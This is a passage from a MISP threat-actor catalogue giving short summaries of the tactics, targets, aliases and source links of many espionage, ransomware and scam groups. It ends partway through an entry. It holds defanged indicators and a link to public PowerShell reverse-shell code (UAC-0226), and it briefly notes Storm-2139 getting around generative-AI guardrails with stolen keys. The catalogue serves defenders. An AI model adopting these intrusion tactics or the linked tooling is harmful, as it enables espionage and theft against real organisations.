PlushDaemon is a China-aligned APT group that has conducted cyberespionage operations against targets in China, Taiwan, Hong Kong, South Korea, the United States, and New Zealand. They executed a supply chain attack on the South Korean VPN provider IPany, compromising its installer to deploy the SlowStepper backdoor, which features a toolkit of over 30 components. PlushDaemon primarily gains initial access by hijacking legitimate updates of Chinese applications and has also exploited vulnerabilities in legitimate web servers. Additionally, they have utilized the Visual Studio command line utility regcap.exe to side-load a malicious DLL named lregdll.dll.

The tag is: *misp-galaxy:threat-actor="PlushDaemon"*

Table 18898. Table References

Links
https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-supply-chain-korean-vpn-service/

Storm-2139

Storm-2139 is a cybercrime group that exploited stolen API keys from compromised Azure OpenAI Service accounts to generate harmful content, including non-consensual intimate imagery, using the DALL-E model. The group utilized reverse proxy infrastructure and custom software to bypass guardrails in Microsoft's GenAI services. Microsoft has filed a lawsuit against four individuals associated with Storm-2139, alleging they modified customer systems and resold access to these capabilities. The group systematically harvested authentication tokens from U.S.-based enterprises

and is linked to a broader network of illicit AI tool development and distribution.

The tag is: *misp-galaxy:threat-actor="Storm-2139"*

Table 18899. Table References

Links
https://blogs.microsoft.com/on-the-issues/2025/02/27/disrupting-cybercrime-abusing-gen-ai/

Larva-208

LARVA-208 is a financially motivated threat actor employing sophisticated phishing campaigns to harvest credentials and deploy ransomware. The actor uses multiple tactics, including Open URL Redirection, fake login pages, and social engineering, to bypass MFA and gain access to corporate networks. LARVA-208 has compromised over 618 organizations since June 2024, often deploying ransomware payloads. The threat actor is linked to LARVA-148, a threat actor managing domain acquisitions and attacks.

The tag is: *misp-galaxy:threat-actor="Larva-208"*

Larva-208 is also known as:

- EncryptHub

Table 18900. Table References

Links
https://www.scworld.com/brief/over-600-organizations-subjected-to-global-encrypthub-attacks
https://catalyst.prodaft.com/public/report/larva-208/overview

Ukrainian Cyber Alliance

Cyber Alliance is a hacktivist group that has demonstrated capabilities in exploiting vulnerabilities, such as CVE-2023-22515 in Confluence, to escalate privileges and access targeted infrastructure. They successfully accessed Trigona's systems, exfiltrating sensitive data and ultimately defacing and deleting the organization's site.

The tag is: *misp-galaxy:threat-actor="Ukrainian Cyber Alliance"*

Ukrainian Cyber Alliance is also known as:

- UCA

View relationships graph

Ukrainian Cyber Alliance has relationships with:

- similar: misp-galaxy:threat-actor="Cyber Alliance" with estimative-language:likelihood-probability="likely"

Table 18901. Table References

Links
https://unit42.paloaltonetworks.com/unit-42-ransomware-leak-site-data-analysis/
https://securelist.com/cyber-anarchy-squad-attacks-with-uncommon-trojans/114990/
https://www.darkowl.com/blog-content/what-are-cves/

Larva-24005

Larva-24005 is a threat actor that breaches servers in Korea to establish a web server and PHP environment for phishing attacks, primarily targeting individuals involved with North Korea and university professors researching the regime. They exploit the BlueKeep vulnerability for initial access and utilize RDPWrap and a custom keylogger post-compromise. Phishing emails are crafted to appear as legitimate communications, often containing malicious URLs or compressed files. The actor has been observed storing phishing pages in the IIS_USER account and XAMPP home folder, although traces of these pages were later deleted.

The tag is: *misp-galaxy:threat-actor="Larva-24005"*

Table 18902. Table References

Links
https://asec.ahnlab.com/en/86535/

GreenSpot

GreenSpot is an APT group believed to operate from Taiwan, active since at least 2007, primarily targeting government, academic, and military entities in China through phishing campaigns. The group frequently targets 163.com, aiming to steal login credentials using deceptive domains, manipulated TLS certificates, and counterfeit interfaces. Their tactics highlight the sophistication of modern credential theft operations, necessitating detection efforts focused on irregular domain registrations and certificate anomalies.

The tag is: *misp-galaxy:threat-actor="GreenSpot"*

GreenSpot is also known as:

- PoisonVine
- APT-Q-20

Table 18903. Table References

Links
https://hunt.io/blog/greenspot-apt-targets-163com-fake-downloads-spoofing
https://www.antiy.net/p/greenspotoperations-grow-for-many-years/
https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-vine-climbing-over-great-firewall-longterm-attack-against-china/

Teleboyi

Teleboyi is a threat actor reportedly based in China, associated with the PlugX RAT. TeamT5 identified a custom PlugX loader used by Teleboyi that employs a similar string decryption algorithm as seen in the McUtil.dll loader from Operation Harvest. While there are weak links to the dsqurey[.]com domain, the connection remains uncertain due to the domain's registration history.

The tag is: *misp-galaxy:threat-actor="Teleboyi"*

Table 18904. Table References

Links
https://www.trendmicro.com/en_us/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html

TRIPLESTRENGTH

TRIPLESTRENGTH is a financially motivated threat actor targeting cloud environments and on-premises infrastructures for cryptojacking, ransomware, and extortion. They exploit stolen credentials, cookies, and information stealer logs to gain unauthorized access to platforms like Google Cloud, AWS, and Microsoft Azure, deploying the unMiner application for cryptocurrency mining. Their ransomware operations utilize lockers such as Phobos, LokiLocker, and RCRU64, involving lateral movement and mass encryption. TRIPLESTRENGTH also engages in account hijacking and collaborates with partners for ransomware and blackmail operations, advertising their services in hacking-focused Telegram channels.

The tag is: *misp-galaxy:threat-actor="TRIPLESTRENGTH"*

Table 18905. Table References

Links
https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf
https://www.cyfirma.com/research/tracking-ransomware-january-2025/

Storm-2372

Storm-2372 is a suspected nation-state actor aligned with Russian interests, engaging in device code phishing campaigns targeting governments, NGOs, and various industries across Europe, North America, Africa, and the Middle East. The actor employs tactics that involve impersonating prominent individuals through third-party messaging services like WhatsApp and Signal to gain rapport before sending phishing invitations. These invitations lure users into completing device code authentication requests, granting Storm-2372 initial access to victim accounts and enabling Graph API data collection activities, including email harvesting. Microsoft has observed the actor utilizing keyword searches within compromised accounts to exfiltrate sensitive information.

The tag is: *misp-galaxy:threat-actor="Storm-2372"*

Table 18906. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/

GamaCopy

GamaCopy is a threat actor first discovered in June 2023, known for launching cyberattacks against Russia's defense and critical infrastructure sectors by mimicking the TTPs of Gamaredon. The organization has been active since at least August 2021 and primarily uses Russian-language bait documents related to military facilities. Analysis of attack samples shows considerable overlap in code structure and tactics, including the use of 7z-SFX documentation to install UltraVNC and connecting via port 443. GamaCopy employs open-source tools to obfuscate its activities while targeting sensitive information in the context of the Russia-Ukraine conflict.

The tag is: *misp-galaxy:threat-actor="GamaCopy"*

Table 18907. Table References

Links
https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa?source=rss-f1efd6b74751------2

Mora_001

Mora_001 is a threat actor exhibiting a distinct operational signature that combines opportunistic attacks with ties to the LockBit ecosystem. The actor has been observed exploiting CVE-2024-55591 and CVE-2025-24472 vulnerabilities affecting Fortinet devices. The ransom note associated with Mora_001 includes the same TOX ID used by LockBit, indicating a potential affiliation or shared communication channels. Their post-exploitation patterns suggest a structured playbook that differentiates them from other ransomware operators, including LockBit affiliates.

The tag is: *misp-galaxy:threat-actor="Mora_001"*

Table 18908. Table References

Links
https://www.forescout.com/blog/new-ransomware-operator-exploits-fortinet-vulnerability-duo/

LinkC Pub

Linkc is a newly emerged ransomware group that operates an onion-based data leak site and has claimed one victim, a U.S.-based AI and cloud service provider, H2O.ai, which was attacked on January 29, 2025. The group demanded a ransom of $15 million for data decryption and removal, showcasing access to sensitive information, including GPT model source code and customer data. Linkc's DLS is well-constructed and quick to load, indicating potential for future victim listings. However, there is currently no public acknowledgment from the victim, and the group has not

engaged in discussions on cybercrime forums.

The tag is: *misp-galaxy:threat-actor="LinkC Pub"*

LinkC Pub is also known as:

- LinkC

Table 18909. Table References

Links
https://www.redhotcyber.com/en/post/linkc-ransomware-the-new-cybercriminal-group-targeting-artificial-intelligence-data/#google_vignette
https://www.cyfirma.com/research/tracking-ransomware-february-2025/
https://www.cyjax.com/resources/blog/new-extortion-ransomware-group-linkc-emerges-what-you-need-to-know/

ScreamedJungle

ScreamedJungle is a threat actor that exploits vulnerabilities in outdated Magento e-commerce platforms to inject malicious JavaScript code, specifically Bablosoft JS, into compromised websites. This actor has harvested millions of browser fingerprints by leveraging vulnerabilities such as CVE-2024-34102 and CVE-2024-20720. ScreamedJungle utilizes PerfectCanvas technology to ensure pixel-perfect replication of legitimate user fingerprints. Group-IB analysts estimate that over 115 e-commerce sites have been impacted by this fingerprint theft campaign.

The tag is: *misp-galaxy:threat-actor="ScreamedJungle"*

Table 18910. Table References

Links
https://www.group-ib.com/blog/fingerprint-heists/

FishMedley

Verticals targeted during Operation FishMedley include governments, NGOs, and think tanks, across Asia, Europe, and the United States. ; Operators used implants – such as ShadowPad, SodaMaster, and Spyder – that are common or exclusive to China-aligned threat actors. ; We assess with high confidence that Operation FishMedley was conducted by the FishMonger APT group.

The tag is: *misp-galaxy:threat-actor="FishMedley"*

View relationships graph

FishMedley has relationships with:

- linked-to: misp-galaxy:threat-actor="Earth Lusca" with estimative-language:likelihood-probability="likely"

Table 18911. Table References

Links
https://www.welivesecurity.com/en/eset-research/operation-fishmedley/

Swan Vector

Seqrite Labs APT-Team has recently uncovered a campaign which we have termed as Swan Vector, that has been targeting the nations across the East China sea such as Taiwan and Japan. The campaign is aimed at educational institutes and mechanical engineering industry with lures aiming to deliver fake resume of candidates which acts as a decoy.

The tag is: *misp-galaxy:threat-actor="Swan Vector"*

Table 18912. Table References

Links
https://www.seqrite.com/blog/swan-vector-apt-targeting-taiwan-japan-dll-implants/

Storm-0249

Storm-0249 is an access broker active since 2021, known for distributing BazaLoader, IcedID, Bumblebee, and Emotet malware. The actor primarily employs phishing emails to deliver malware payloads, as evidenced by a campaign involving tax-themed emails that aimed to distribute BRc4 and Latrodectus malware. Storm-0249 has facilitated initial access for other threat actors, such as Storm-0501, by leveraging compromised credentials and exploiting known vulnerabilities in public-facing servers. Microsoft has detected malicious PDF attachments associated with Storm-0249's phishing campaigns.

The tag is: *misp-galaxy:threat-actor="Storm-0249"*

Storm-0249 is also known as:

- DEV-0249

Table 18913. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/04/03/threat-actors-leverage-tax-season-to-deploy-tax-themed-phishing-campaigns/
https://techcommunity.microsoft.com/t5/microsoft-defender-xdr-blog/monthly-news-november-2023/ba-p/3970796

GOFFEE

GOFFEE is a threat actor that has targeted entities in the Russian Federation since early 2022, employing spear phishing emails with malicious attachments, including modified Owowa and patched explorer.exe. They have utilized PowerTaskel, a non-public Mythic agent in PowerShell,

and introduced a new implant called "PowerModul" for attacks against sectors such as media, telecommunications, and government. GOFFEE has increasingly shifted to a binary Mythic agent for lateral movement and has incorporated Word documents with malicious VBA scripts in their infection chains. The group has demonstrated a consistent evolution in their TTPs while maintaining identifiable characteristics that attribute their campaigns with high confidence.

The tag is: *misp-galaxy:threat-actor="GOFFEE"*

Table 18914. Table References

Links
https://securelist.com/goffee-apt-new-attacks/116139/

UAT-5918

UAT-5918 is an APT group that targets entities in Taiwan, primarily in telecommunications, healthcare, and IT sectors, to establish long-term access for information theft. They exploit N-day vulnerabilities in unpatched web and application servers to gain initial access and utilize web shells, credential harvesting tools like Mimikatz and LaZagne, and red-teaming tools for post-compromise activities. UAT-5918 conducts network reconnaissance to pivot across endpoints, harvesting credentials and sensitive data, including database backups. Their operations show significant overlap with other APT groups in terms of TTPs and targeted industries.

The tag is: *misp-galaxy:threat-actor="UAT-5918"*

Table 18915. Table References

Links
https://blog.talosintelligence.com/uat-5918-targets-critical-infra-in-taiwan/

Jabaroot

JabaRoot is an Algerian hacker group that has targeted Moroccan government systems, successfully exfiltrating sensitive data from the Ministry of Economic Inclusion and the National Social Security Fund (CNSS). The group has claimed responsibility for the breach, which has raised concerns among cybersecurity experts regarding its scale and impact on citizens' privacy. The motives behind the attack remain unclear, but it has been noted as one of Morocco’s most significant cyber-attacks affecting multiple victims. Resecurity has identified the group’s activities as part of a broader trend of APT targeting government entities in the region.

The tag is: *misp-galaxy:threat-actor="Jabaroot"*

Jabaroot is also known as:

- Jabaroot DZ

Table 18916. Table References

Links

https://www.resecurity.com/blog/article/cybercriminals-attacked-national-social-security-fund-of-morocco-millions-of-digital-identities-at-risk-of-data-breach

Storm-2460

Storm-2460 is a threat actor that has exploited elevation of privilege vulnerabilities to deploy PipeMagic malware and ransomware, enabling them to escalate access within compromised environments. They have been observed using the certutil utility to download malware from compromised legitimate third-party websites. Ransomware activity associated with Storm-2460 includes file encryption and the deployment of a ransom note named !*READ_ME_REXX2*!.txt. Microsoft recommends prioritizing security updates for elevation of privilege vulnerabilities to mitigate the impact of this actor's activities.

The tag is: *misp-galaxy:threat-actor="Storm-2460"*

Table 18917. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/04/08/exploitation-of-clfs-zero-day-leads-to-ransomware-activity/

HollowQuill

SEQRITE Labs APT-Team has been tracking and has uncovered a campaign targeting the Baltic State Technical University, a well-known institution for various defense, aerospace, and advanced engineering programs that contribute to Russia's military-industrial complex. Tracked as Operation HollowQuill, the campaign leverages weaponized decoy documents masquerading as official research invitations to infiltrate academic, governmental, and defense-related networks. The threat entity delivers a malicious RAR file which contains a .NET malware dropper, which further drops other Golang based shellcode loader along with legitimate OneDrive application and a decoy-based PDF with a final Cobalt Strike payload.

The tag is: *misp-galaxy:threat-actor="HollowQuill"*

Table 18918. Table References

Links
https://www.seqrite.com/blog/operation-hollowquill-russian-rd-networks-malware-pdf/

DieNet

DieNet is a hacktivist group that emerged in March 2025, known for conducting DDoS attacks targeting entities associated with political figures, such as Trump businesses. The group has claimed responsibility for disabling ten significant Iraqi websites, framing the action as support for their affiliates in the "Shiite Harvest." Their operations suggest motivations rooted in sectarian dynamics, with a coordinated effort indicated by the use of hashtags like #DieNet and #Shiite_Harvest. This reflects the use of cyber offensives as tools for political and ideological

expression, mirroring offline sectarian tensions.

The tag is: *misp-galaxy:threat-actor="DieNet"*

DieNet is also known as:

- Shiite_Harvest

Table 18919. Table References

Links
https://cybershafarat.com/2025/03/10/dienet-and-shiite_harvest-claimed-responsibility-for-disabling-ten-significant-iraqi-websites/

REF7707

REF7707 is a cyber campaign targeting government entities, particularly a foreign ministry in South America, utilizing malware families such as FinalDraft, GuidLoader, and PathLoader for persistence and lateral movement. The threat actor employs the Microsoft Graph API for C2 communication, blending malicious traffic with legitimate activity to evade detection. Despite their technical sophistication, REF7707 operators exhibited poor operational security, leading to the exposure of their infrastructure and malware. Their tactics enable the extraction of sensitive data, including passwords and Active Directory information, facilitating ongoing espionage activities.

The tag is: *misp-galaxy:threat-actor="REF7707"*

REF7707 is also known as:

- CL-STA-0049
- Jewelbug

Table 18920. Table References

Links
https://unit42.paloaltonetworks.com/advanced-backdoor-squidoor/
https://www.elastic.co/security-labs/fragile-web-ref7707
https://www.security.com/threat-intelligence/jewelbug-apt-russia

UAC-0219

UAC-0219 is a hacking group observed conducting cyber-espionage operations targeting Ukrainian critical sectors, primarily utilising WRECKSTEEL malware for file exfiltration in both VBScript and PowerShell variants. Their activities focus on gathering intelligence from military innovation hubs, armed forces, law enforcement, and regional government institutions. CERT-UA has linked multiple cyber-attacks against government agencies and critical infrastructure in Ukraine to UAC-0219, emphasizing their reliance on specialized malware for sensitive information theft. The group's operations are characterized by stealthy access and data exfiltration tactics, consistent with state-sponsored APT behavior.

The tag is: *misp-galaxy:threat-actor="UAC-0219"*

Table 18921. Table References

Links
https://cert.gov.ua/article/6282902
https://socprime.com/blog/detect-uac-0219-attacks-against-ukrainian-state-bodies

Operation ForumTroll

Operation ForumTroll is a sophisticated cyber espionage campaign discovered by Kaspersky in mid-March 2025. The attack exploited a zero-day vulnerability in Google Chrome, identified as CVE-2025-2783, which allowed attackers to bypass the browser's security features. Victims were infected by clicking on personalized phishing links in emails, allegedly from the organizers of the "Primakov Readings" forum, targeting media outlets, educational institutions, and government organizations in Russia. The goal of the attack appears to be espionage, and the campaign is believed to be the work of a state-sponsored APT group. Google quickly released an update to fix the vulnerability after being notified by Kaspersky.

The tag is: *misp-galaxy:threat-actor="Operation ForumTroll"*

Table 18922. Table References

Links
https://securelist.com/operation-forumtroll/115989/

Earth Alux

Earth Alux is a China-linked APT group known for conducting cyberespionage attacks across various sectors, including government, technology, and telecommunications. They primarily exploit vulnerable services in exposed servers to gain initial access, implanting web shells like GODZILLA and deploying backdoors such as VARGEIT and COBEACON. The group employs tools like RSBINJECT and MASQLOADER for lateral movement and network discovery, while also utilizing RAILSETTER for persistence through mspaint injection. Their operations have predominantly targeted the APAC region and have extended to Latin America, with a focus on exfiltrating sensitive information to attacker-controlled cloud storage.

The tag is: *misp-galaxy:threat-actor="Earth Alux"*

Table 18923. Table References

Links
https://www.trendmicro.com/en_us/research/25/c/the-espionage-toolkit-of-earth-alux.html

Water Gamayun

Water Gamayun exploits the MSC EvilTwin zero-day vulnerability to compromise systems and exfiltrate data, utilizing custom payloads and advanced data exfiltration techniques. Their arsenal

includes backdoors like SilentPrism and DarkWisp, as well as information stealers such as Stealc and Rhadamanthys. They employ delivery methods like provisioning malicious payloads through signed Microsoft Installer files and leveraging LOLBins to maintain persistence and control over infected systems. Comprehensive analysis of their command-and-control infrastructure reveals sophisticated evasion techniques and dynamic control capabilities.

The tag is: *misp-galaxy:threat-actor="Water Gamayun"*

Table 18924. Table References

Links
https://www.trendmicro.com/en_us/research/25/c/deep-dive-into-water-gamayun.html

JINX-0126

Wiz Threat Research identified a new variant of an ongoing malicious campaign targeting misconfigured and publicly exposed PostgreSQL servers. In the observed attack, the threat actor (tracked by Wiz as JINX-0126) abuses exposed PostgreSQL instances, configured with weak and guessable login credentials, to gain access and to deploy XMRig-C3 cryptominers. This campaign was first documented by Aqua Security, but the threat actor has since evolved, implementing defense evasion techniques such as deploying binaries with a unique hash per target and executing the miner payload filelessly—likely to evade detection by CWPP solutions that rely solely on file hash reputation.

The tag is: *misp-galaxy:threat-actor="JINX-0126"*

Table 18925. Table References

Links
https://www.wiz.io/blog/postgresql-cryptomining
https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/

puNK-003

puNK-003 is a North Korean APT group known for deploying the Lilith RAT, a sophisticated C++ remote access trojan, and its AutoIt variant, CURKON, which functions as a downloader. The group primarily distributes malware through targeted phishing attacks using malicious LNK files. Analysis indicates that puNK-003 shares similarities with the KONNI group, particularly in the use of AutoIt scripts and specific coding functions. Key indicators of infection include unusual network activity and system slowdowns, with removal methods involving specialized antivirus software and manual techniques.

The tag is: *misp-galaxy:threat-actor="puNK-003"*

Table 18926. Table References

Links
https://trojan-killer.net/how-to-remove-lilith-rat-complete-removal-guide/

https://s2w.inc/en/resource/detail/581

UAC-0226

UAC-0226 is a cyber-espionage group targeting Ukrainian military, law enforcement, and local government entities—particularly near the eastern border—since February 2025. Initial access is achieved via phishing emails containing malicious .xlsm documents that decode and execute base64-encoded payloads stored in spreadsheet cells. Two main tools are used: a .NET-based reverse shell leveraging PowerShell code from a public GitHub repository (https://github.com/tihanyin/PSSW100AVB), and GIFTEDCROOK, a C/C++ stealer that extracts browser data (cookies, history, credentials), archives it with PowerShell, and exfiltrates via Telegram. The group often abuses compromised webmail accounts for delivery, underlining the importance of detailed email and web server logging. Their activity shows a mix of low development overhead and high operational targeting, consistent with state-aligned espionage.

The tag is: *misp-galaxy:threat-actor="UAC-0226"*

Table 18927. Table References

Links
https://cert.gov.ua/article/6282946
https://socprime.com/blog/detect-uac-0226-attacks-against-ukraine/

HIVE-0145

Hive0145 is a financially motivated initial access broker that has been active since late 2022, primarily utilizing Strela Stealer malware to target email credentials. The group has evolved its tactics from generic phishing emails to using stolen legitimate emails with real invoice attachments, focusing on victims in Spain, Germany, and Ukraine. Strela Stealer is configured to extract data from Microsoft Outlook and Mozilla Thunderbird, and the group's operations have shown increased complexity and automation. Threat intelligence indicates that Hive0145's campaigns are characterized by credential theft and espionage-driven activities.

The tag is: *misp-galaxy:threat-actor="HIVE-0145"*

HIVE-0145 is also known as:

- Hive0145

Table 18928. Table References

Links
https://www.ibm.com/think/x-force/strela-stealer-todays-invoice-tomorrows-phish

Reckless Rabbit

Reckless Rabbit lures victims into investment scams through malicious Facebook advertisements

that lead to fake news articles with embedded web forms for personal information collection. They create domains using RDGA patterns, including random characters and English words, and configure wildcard DNS responses to obscure their active subdomains. The actor employs validation checks to filter out traffic from specific countries, enhancing their operational security. Their investment scam platforms often feature fake endorsements to increase credibility among potential victims.

The tag is: *misp-galaxy:threat-actor="Reckless Rabbit"*

Table 18929. Table References

Links
https://blogs.infoblox.com/threat-intelligence/uncovering-actor-ttp-patterns-and-the-role-of-dns-in-investment-scams/

Ruthless Rabbit

Ruthless Rabbit has been running investment scam campaigns since November 2022, primarily targeting users in Russia, Poland, Romania, and Kazakhstan. The actor utilizes RDGA patterns to create over 2,600 domains, hosted on multiple dedicated IPs, and employs a cloaking service for validation checks on user leads. Their campaigns have included themes such as Baltic Pipe financial scams and spoofing well-known platforms like WhatsApp and Google Finance. The most prevalent campaign theme involves a spoofed news article from "Channel One" promoting the "GazInvest" platform with promises of high returns.

The tag is: *misp-galaxy:threat-actor="Ruthless Rabbit"*

Table 18930. Table References

Links
https://blogs.infoblox.com/threat-intelligence/uncovering-actor-ttp-patterns-and-the-role-of-dns-in-investment-scams/

Earth Kurma

Earth Kurma is an APT group targeting government and telecommunications sectors in Southeast Asia, with a primary focus on data exfiltration. They employ advanced custom malware, including rootkits like KRNRAT and MORIYA, and utilize cloud storage services for exfiltration. Their toolsets include TESDAT and SIMPOBOXSPY, and they demonstrate adaptive TTPs and complex evasion techniques. Attribution overlaps with other APT groups, but distinct attack patterns warrant their separate designation.

The tag is: *misp-galaxy:threat-actor="Earth Kurma"*

Table 18931. Table References

Links
https://www.trendmicro.com/en_us/research/25/d/earth-kurma-apt-campaign.html

UNK_RemoteRogue

UNK_RemoteRogue is a suspected Russian threat actor that has been observed utilizing ClickFix in its infection chains, although this technique is not revolutionizing their operations but rather replacing existing installation methods. The group has a history of employing compromised intermediate mailservers, with specific infrastructure noted, such as the upstream concentrator at 80.66.66[.]197. Proofpoint recorded their use of ClickFix only once before they reverted to traditional campaigns that share similar characteristics, including targeting and infrastructure. UNK_RemoteRogue has been linked to phishing activities and has shown consistent patterns in its operational tactics.

The tag is: *misp-galaxy:threat-actor="UNK_RemoteRogue"*

Table 18932. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-sponsored-actors-try-clickfix

PurpleHaze

PurpleHaze is a China-nexus threat actor tracked by SentinelLABS, linked to APT15, known for targeting critical infrastructure sectors such as telecommunications and government organizations. The actor has been associated with reconnaissance attempts against SentinelOne and has utilized ShadowPad, a modular backdoor platform, for cyberespionage and potential ransomware deployment. Investigations are ongoing to determine overlaps between ShadowPad intrusions and PurpleHaze activity, highlighting the extensive sharing of malware and operational practices among Chinese threat groups. The targeting of third-party service providers has raised significant concerns regarding operational security and supply chain monitoring.

The tag is: *misp-galaxy:threat-actor="PurpleHaze"*

Table 18933. Table References

Links
https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/

MORH4x

MORH4x is a self-proclaimed Moroccan hacking group that claimed responsibility for a data leak from Algeria’s pharmaceutical industry ministry. The group announced the breach on the BreachForums website, stating that the leaked files span from 2019 to 2025 and include internal documents related to Algeria’s pharmaceutical imports. This incident is part of a series of escalating cyberattacks between Moroccan and Algerian hacking groups.

The tag is: *misp-galaxy:threat-actor="MORH4x"*

Table 18934. Table References

Links
https://cybersecurity88.com/news/algerias-ministry-of-pharmaceutical-industry-data-leaked-in-retaliatory-cyberattack/

Cyber Alliance

The Ukrainian Cyber Alliance is a pro-Ukraine hacktivist group formed in 2016, primarily targeting Russian entities since the invasion of Ukraine in 2022. They have claimed responsibility for significant cyberattacks, including the destruction of infrastructure at Russian internet provider Nodex and a breach of the microfinance company CarMoney, linked to Vladimir Putin's ex-wife. Their operations involve data destruction and disruption of IT infrastructure, utilizing techniques such as malware attacks and social engineering tactics. The group has positioned itself as a pro-military force, leveraging social media to communicate its activities and objectives.

The tag is: *misp-galaxy:threat-actor="Cyber Alliance"*

View relationships graph

Cyber Alliance has relationships with:

- similar: misp-galaxy:threat-actor="Ukrainian Cyber Alliance" with estimative-language:likelihood-probability="likely"

Table 18935. Table References

Links
https://securelist.com/cyber-anarchy-squad-attacks-with-uncommon-trojans/114990/
https://therecord.media/russia-carmoney-data-breach-ukrainian-cyber-alliance

Storm-1977

Storm-1977 is a sophisticated threat actor that conducts password-spraying attacks targeting cloud tenants, particularly in the education sector, utilizing the AzureChecker.exe CLI tool as their primary infection vector. They have successfully compromised over 200 containers, repurposing them for cryptocurrency mining operations by leveraging guest accounts to create new resource groups within compromised subscriptions. Microsoft Threat Intelligence researchers have identified unique operational patterns that distinguish Storm-1977 from other cryptomining threat actors. The group exploits compromised accounts as a primary attack surface in their operations.

The tag is: *misp-galaxy:threat-actor="Storm-1977"*

Table 18936. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/04/23/understanding-the-threat-landscape-for-kubernetes-and-containerized-assets/

TAG-124

TAG-124 is a threat actor that employs a traffic distribution system to distribute malware, primarily using MintsLoader and targeting various sectors through phishing emails and compromised websites. The actor injects malicious JavaScript into WordPress sites, leading victims to fake Google Chrome update landing pages that facilitate malware downloads, often masquerading as legitimate updates. TAG-124 has been linked to multiple ransomware groups, including Rhysida and Interlock, and demonstrates high activity levels by regularly updating its infrastructure and refining its infection tactics, such as the ClickFix technique. Notable compromised sites include those associated with the Polish Centre for Testing and Certification and the Economic Community of West African States (ECOWAS).

The tag is: *misp-galaxy:threat-actor="TAG-124"*

TAG-124 is also known as:

- LandUpdate808

Table 18937. Table References

Links
https://www.recordedfuture.com/research/uncovering-mintsloader-with-recorded-future-malware-intelligence-hunting
https://www.recordedfuture.com/research/tag-124-multi-layered-tds-infrastructure-extensive-user-base

UAC-0245

Threat actors, tracked under the identifier UAC-0245 and targeting Ukraine, employ malicious XLL files disguised as critical documents.

The tag is: *misp-galaxy:threat-actor="UAC-0245"*

Table 18938. Table References

Links
https://cip.gov.ua/en/news/cert-ua-poperedzhaye-pro-cilespryamovani-ataki-na-sili-oboroni-z-vikoristannyam-novogo-bekdoru-cabinetrat

Chaya_004

Chaya_004 is a Chinese threat actor identified through malicious infrastructure, including a network of servers hosting Supershell backdoors and various pen testing tools of Chinese origin. The actor’s activities are linked to the exploitation of a specific vulnerability, with a focus on using Chinese cloud providers. Analysis of the infrastructure has revealed TTPs associated with Chaya_004, indicating a sophisticated approach to cyber operations. Mitigation recommendations and proactive response measures have been developed in light of these findings.

The tag is: *misp-galaxy:threat-actor="Chaya_004"*

Table 18939. Table References

Links
https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/

ELUSIVE COMET

ELUSIVE COMET is a threat actor responsible for significant cryptocurrency theft through sophisticated social engineering attacks, particularly leveraging Zoom's remote control feature. Their attack methodology involves manipulating legitimate workflows and exploiting human-centric vulnerabilities rather than technical flaws. The actor employs tactics such as social proof, time pressure, and interface manipulation to deceive targets. Organizations can mitigate risks by implementing technical controls to disable the remote control feature and deploying email boundary protections like DMARC, SPF, and DKIM.

The tag is: *misp-galaxy:threat-actor="ELUSIVE COMET"*

Table 18940. Table References

Links
https://blog.trailofbits.com/2025/04/17/mitigating-elusive-comet-zoom-remote-control-attacks/

Molatori

Molatori is a threat actor group identified by Malwarebytes researchers, known for utilizing malicious ScreenConnect clients hosted on domains like atmolatori.icu and gomolatori.cyou. They employ phishing tactics, masquerading as communications from the Social Security Administration to lure targets into installing the client. Once installed, the ScreenConnect client allows the actors to remotely access the victim's computer, facilitating the exfiltration of sensitive information such as banking details and personal identification numbers. The primary objective of the Molatori group is financial fraud, leveraging the stolen data for identity theft and other malicious activities.

The tag is: *misp-galaxy:threat-actor="Molatori"*

Table 18941. Table References

Links
https://www.malwarebytes.com/blog/news/2025/04/fake-social-security-statement-emails-trick-users-into-installing-remote-tool

Malsmoke

Malsmoke primarily targets Japanese users through malvertising campaigns that deliver Zloader malware, often leveraging adult content lures and geographic IP information. The group has transitioned from exploit kits, such as Fallout, to social engineering tactics, including fake Java

updates, while maintaining a focus on high-traffic adult websites. Their operations are characterized by the use of DGA for C2 server domains and the distribution of payloads via a custom loader, previously relying on Smoke Loader. Connections to past campaigns are evident through similarities in malware masquerading as Java plugins and shared registrar information among domains.

The tag is: *misp-galaxy:threat-actor="Malsmoke"*

Table 18942. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/
https://www.malwarebytes.com/blog/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing

Luna Moth

Luna Moth conducts high-tempo callback phishing campaigns targeting legal and financial organizations in the U.S., using social engineering to lure victims into calling fake helpdesk numbers. Attackers impersonate IT staff to install legitimate RMM tools, enabling direct access to victim systems for data exfiltration. The group demands ransoms between $1 million and $8 million, threatening to leak stolen data if payments are not made. Their operations reflect a shift from traditional ransomware tactics to data breach extortion, leveraging trusted systems to evade detection.

The tag is: *misp-galaxy:threat-actor="Luna Moth"*

Luna Moth is also known as:

- Silent Ransom
- TG2729

Table 18943. Table References

Links
https://blog.eclecticiq.com/from-callback-phishing-to-extortion-luna-moth-abuse-reamaze-helpdesk-and-rmm-tools-against-u.s.-legal-and-financial-sectors
https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/

Hive0117

Hive0117 is a financially motivated cybercriminal group that conducts phishing campaigns to deliver the fileless malware DarkWatchman, which is capable of keylogging and collecting system information. The group targets individuals in the energy, finance, transport, and software security sectors across Russia, Kazakhstan, Latvia, and Estonia, often imitating official Russian government communications to induce urgency. Their operations leverage emergent policies related to

conscription and utilize a UID string for identification, with malware capable of querying for smartcard readers, indicating a focus on higher security targets. The malware's fileless nature and ability to erase traces of its presence suggest moderate sophistication in their TTPs.

